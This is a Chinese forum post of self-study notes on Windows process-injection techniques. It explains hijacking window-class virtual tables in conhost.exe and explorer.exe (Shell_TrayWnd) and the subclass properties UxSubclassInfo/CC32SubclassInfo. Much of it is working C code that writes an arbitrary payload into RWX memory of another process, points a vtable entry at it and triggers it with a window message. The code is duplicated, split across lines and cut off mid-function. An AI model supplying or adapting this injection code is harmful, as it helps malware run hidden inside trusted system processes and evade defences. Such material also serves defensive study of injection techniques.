以下是自学习相关进程注入时写的笔记。
控制台应用程序窗口所属于的窗口类为ConsoleWindowClass
,窗口中保存的用户数据并不在控制台程序的地址空间之中,而在Conhost.exe之中。用户数据的第一个8字节或4字节中保存的是该类的虚表地址。
以修改ConHost中对于消息处理的虚函数表中的虚函数指针为手段,而Conhost.exe保存的用户数据在堆中是可写属性,导致了可以HOOK对应虚函数指针。
这个是Conhost中保存的控制台窗口类行为的虚表原型:
通过GetWindowLongPtr(hwnd, GWLP_USERDATA);
可以获取用户数据地址,然后通过常规的ReadProcessMemory、WriteProcessMemory、VirtualAllocEx
即可将对应的虚函数做更改。
整体代码如下:
可以看到explorer.exe之中具有窗口类。
和第一个没什么太大的不一样,唯一的区别是该窗口类的虚表常规的保存在创建窗口的进程之中。
原型:
代码:
当窗口被子类化的时候,久的窗口过程并不会被删除,而是被存储在后台隐藏运行。存储的节点为UxSubclassInfo
或者CC32SubclassInfo
的属性之中;命名名称是根据comctl32.dll的版本来决定的。
当使用SetWindowSubclass函数时,会调用SetProp 这个API会将旧的函数过程存储在UxSubclassInfo
或者CC32SubclassInfo
属性值中。当有对应的消息到来的时候,将会在子类化的窗口调用GetProp这个API获取旧的窗口过程并执行。(PS:以上是看资料总结的,总感觉理解上面有问题。如果有师傅比较较真的话,可以尝试自己子类化一个窗口,通过其句柄获取UxSubclassInfo属性,然后判断一下这个属性+0x18的偏移所保存的到底是旧的窗口过程还是新的窗口过程,还是说都有?只是调用的顺序不同?,如果有师傅做了实验的话不妨在下面告诉我一下,感激不尽)
这个属性的结构主要如下:
32位系统下可以看到在偏移0x18的处保存的窗口过程。
只需要在具有该窗口属性里的进程里将该回调函数进行HOOK,然后将其恢复即可,
在Win7和部分WIn10(最新版win10里没有)里经常使用该窗口,父类名Progman,子类名SHELLDLL_DefView。
参考文章
typedef struct _vftable_t {
ULONG_PTR EnableBothScrollBars;
ULONG_PTR UpdateScrollBar;
ULONG_PTR IsInFullscreen;
ULONG_PTR SetIsFullscreen;
ULONG_PTR SetViewportOrigin;
ULONG_PTR SetWindowHasMoved;
ULONG_PTR CaptureMouse;
ULONG_PTR ReleaseMouse;
ULONG_PTR GetWindowHandle;
ULONG_PTR SetOwner;
ULONG_PTR GetCursorPosition;
ULONG_PTR GetClientRectangle;
ULONG_PTR MapPoints;
ULONG_PTR ConvertScreenToClient;
ULONG_PTR SendNotifyBeep;
ULONG_PTR PostUpdateScrollBars;
ULONG_PTR PostUpdateTitleWithCopy;
ULONG_PTR PostUpdateWindowSize;
ULONG_PTR UpdateWindowSize;
ULONG_PTR UpdateWindowText;
ULONG_PTR HorizontalScroll;
ULONG_PTR VerticalScroll;
ULONG_PTR SignalUia;
ULONG_PTR UiaSetTextAreaFocus;
ULONG_PTR GetWindowRect;
} ConsoleWindow;
typedef struct _vftable_t {
ULONG_PTR EnableBothScrollBars;
ULONG_PTR UpdateScrollBar;
ULONG_PTR IsInFullscreen;
ULONG_PTR SetIsFullscreen;
ULONG_PTR SetViewportOrigin;
ULONG_PTR SetWindowHasMoved;
ULONG_PTR CaptureMouse;
ULONG_PTR ReleaseMouse;
ULONG_PTR GetWindowHandle;
ULONG_PTR SetOwner;
ULONG_PTR GetCursorPosition;
ULONG_PTR GetClientRectangle;
ULONG_PTR MapPoints;
ULONG_PTR ConvertScreenToClient;
ULONG_PTR SendNotifyBeep;
ULONG_PTR PostUpdateScrollBars;
ULONG_PTR PostUpdateTitleWithCopy;
ULONG_PTR PostUpdateWindowSize;
ULONG_PTR UpdateWindowSize;
ULONG_PTR UpdateWindowText;
ULONG_PTR HorizontalScroll;
ULONG_PTR VerticalScroll;
ULONG_PTR SignalUia;
ULONG_PTR UiaSetTextAreaFocus;
ULONG_PTR GetWindowRect;
} ConsoleWindow;
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
HWND hwnd;
LONG_PTR udptr;
DWORD pid, ppid;
SIZE_T wr;
HANDLE hp;
ConsoleWindow cw;
LPVOID cs, ds;
ULONG_PTR vTable;
/
/
1.
找到具有ConsoleWindowClass窗口类的窗口句柄
hwnd
=
FindWindow(L
"ConsoleWindowClass"
, NULL);
/
/
通过窗口句柄找到对应进程的PID
GetWindowThreadProcessId(hwnd, &ppid);
/
/
2.
通过对比进程名和父进程句柄找到Conhost进程的pid
pid
=
conhostId(ppid);
if
(pid
=
=
0
) {
printf(
"parent id is %ld\nunable to obtain pid of conhost.exe\n"
, ppid);
return
;
}
/
/
3.
打开conhost进程
hp
=
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
/
/
4.
在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload
cs
=
VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
/
/
5.
找到ConsoleWindowClass窗口类中保存的虚函数地址
udptr
=
GetWindowLongPtr(hwnd, GWLP_USERDATA);
ReadProcessMemory(hp, (LPVOID)udptr,
(LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
/
/
6.
获取原本的虚表内容
ReadProcessMemory(hp, (LPVOID)vTable,
(LPVOID)&cw, sizeof(ConsoleWindow), &wr);
/
/
7.
在conhost进程中申请堆空间保存自定义的虚表内容。
ds
=
VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
/
/
8.
将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。
cw.GetWindowHandle
=
(ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
/
/
9.
将虚表指针hook
WriteProcessMemory(hp, (LPVOID)udptr, &ds,
sizeof(ULONG_PTR), &wr);
/
/
10.
发消息测试
SendMessage(hwnd, WM_SETFOCUS,
0
,
0
);
/
/
11.
更改为原来的虚表指针
WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
sizeof(ULONG_PTR), &wr);
/
/
12.
释放内存。
VirtualFreeEx(hp, cs,
0
, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds,
0
, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
HWND hwnd;
LONG_PTR udptr;
DWORD pid, ppid;
SIZE_T wr;
HANDLE hp;
ConsoleWindow cw;
LPVOID cs, ds;
ULONG_PTR vTable;
/
/
1.
找到具有ConsoleWindowClass窗口类的窗口句柄
hwnd
=
FindWindow(L
"ConsoleWindowClass"
, NULL);
/
/
通过窗口句柄找到对应进程的PID
GetWindowThreadProcessId(hwnd, &ppid);
/
/
2.
通过对比进程名和父进程句柄找到Conhost进程的pid
pid
=
conhostId(ppid);
if
(pid
=
=
0
) {
printf(
"parent id is %ld\nunable to obtain pid of conhost.exe\n"
, ppid);
return
;
}
/
/
3.
打开conhost进程
hp
=
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
/
/
4.
在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload
cs
=
VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
/
/
5.
找到ConsoleWindowClass窗口类中保存的虚函数地址
udptr
=
GetWindowLongPtr(hwnd, GWLP_USERDATA);
ReadProcessMemory(hp, (LPVOID)udptr,
(LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
/
/
6.
获取原本的虚表内容
ReadProcessMemory(hp, (LPVOID)vTable,
(LPVOID)&cw, sizeof(ConsoleWindow), &wr);
/
/
7.
在conhost进程中申请堆空间保存自定义的虚表内容。
ds
=
VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
/
/
8.
将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。
cw.GetWindowHandle
=
(ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
/
/
9.
将虚表指针hook
WriteProcessMemory(hp, (LPVOID)udptr, &ds,
sizeof(ULONG_PTR), &wr);
/
/
10.
发消息测试
SendMessage(hwnd, WM_SETFOCUS,
0
,
0
);
/
/
11.
更改为原来的虚表指针
WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
sizeof(ULONG_PTR), &wr);
/
/
12.
释放内存。
VirtualFreeEx(hp, cs,
0
, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds,
0
, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
typedef struct _ctray_vtable {
ULONG_PTR vTable;
/
/
change to remote memory address
ULONG_PTR AddRef;
/
/
add reference
ULONG_PTR Release;
/
/
release procedure
ULONG_PTR WndProc;
/
/
window procedure (change to payload)
} CTray;
typedef struct _ctray_obj {
CTray
*
vtbl;
} CTrayObj;
typedef struct _ctray_vtable {
ULONG_PTR vTable;
/
/
change to remote memory address
ULONG_PTR AddRef;
/
/
add reference
ULONG_PTR Release;
/
/
release procedure
ULONG_PTR WndProc;
/
/
window procedure (change to payload)
} CTray;
typedef struct _ctray_obj {
CTray
*
vtbl;
} CTrayObj;
VOID extraBytes(LPVOID payload, DWORD payloadSize){
LPVOID cs, ds;
CTray ct;
ULONG_PTR ctp;
HWND hw;
HANDLE hp;
DWORD pid;
SIZE_T wr;
hw
=
FindWindow(L
"Shell_TrayWnd"
, NULL);
GetWindowThreadProcessId(hw, &pid);
hp
=
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
ctp
=
GetWindowLongPtr(hw,
0
);
ReadProcessMemory(hp, (LPVOID)ctp,
(LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
ReadProcessMemory(hp, (LPVOID)ct.vTable,
(LPVOID)&ct.AddRef, sizeof(ULONG_PTR)
*
3
, &wr);
cs
=
VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
ds
=
VirtualAllocEx(hp, NULL, sizeof(ct),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ct.vTable
=
(ULONG_PTR)ds
+
sizeof(ULONG_PTR);
ct.WndProc
=
(ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);
SetWindowLongPtr(hw,
0
, (ULONG_PTR)ds);
PostMessage(hw, WM_CLOSE,
0
,
0
);
SetWindowLongPtr(hw,
0
, ctp);
VirtualFreeEx(hp, cs,
0
, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds,
0
, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
VOID extraBytes(LPVOID payload, DWORD payloadSize){
LPVOID cs, ds;
CTray ct;
ULONG_PTR ctp;
HWND hw;
HANDLE hp;
DWORD pid;
SIZE_T wr;
hw
=
FindWindow(L
"Shell_TrayWnd"
, NULL);
GetWindowThreadProcessId(hw, &pid);
hp
=
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-10-6 15:16
被不懂就不懂编辑
,原因: